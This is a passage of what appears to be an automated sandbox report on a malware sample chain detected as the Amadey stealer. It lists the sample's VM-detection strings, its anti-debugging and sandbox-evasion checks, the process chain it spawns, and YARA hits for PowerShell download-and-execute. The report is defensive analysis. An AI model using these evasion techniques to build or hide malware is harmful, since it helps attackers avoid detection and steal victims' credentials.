Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware2p
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: RoamingIJEGHJECFC.exe, 00000005.00000003.2252768790.0000000000C2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: xVBoxService.exe
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.0000000002589000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: firefox.exe, 0000001F.00000002.2959579682.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909956595.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2910203943.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909110092.000001B107486000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VBoxService.exe
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 0000001C.00000002.3349004818.00000000022BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0N
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VMWare
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70216
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70213
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-71391
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70234
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70256
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70235
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70055
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-70227

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe

Code function: 5_2_04CB0100 rdtsc

5_2_04CB0100

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041ACFA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter,	0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041A718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C70B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C70B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8BAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C8BAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 7968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9fa327eb6c.exe PID: 4744, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAAKKKEBFCG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGHJECFC.exe "C:\Users\user\AppData\RoamingIJEGHJECFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAAKKKEBFCG.exe "C:\Users\userAAKKKEBFCG.exe"	Jump to behavior
Source: C:\Users\userAAKKKEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe "C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe "C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

Source: 8e8f4571c5.exe, 00000018.00000002.3307114026.0000000000622000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3307370321.0000000000622000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: userAAKKKEBFCG.exe, userAAKKKEBFCG.exe, 00000008.00000002.2309403161.000000000021F000.00000040.00000001.01000000.0000000B.sdmp, axplong.exe, 0000000F.00000002.2347284132.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000010.00000002.2347343665.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000001F.00000002.2949519005.000000114463B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: RoamingIJEGHJECFC.exe, RoamingIJEGHJECFC.exe, 00000005.00000002.2283548107.0000000000533000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, explorti.exe, 00000009.00000002.2317563389.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000B.00000002.2318335961.0000000000793000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: 9Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C70B341 cpuid

0_2_6C70B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\8e8f4571c5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00417420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.explorti.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.axplong.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.userAAKKKEBFCG.exe.20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RoamingIJEGHJECFC.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.axplong.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorti.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.explorti.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.axplong.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2276983126.0000000005060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2347124654.00000000003D1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
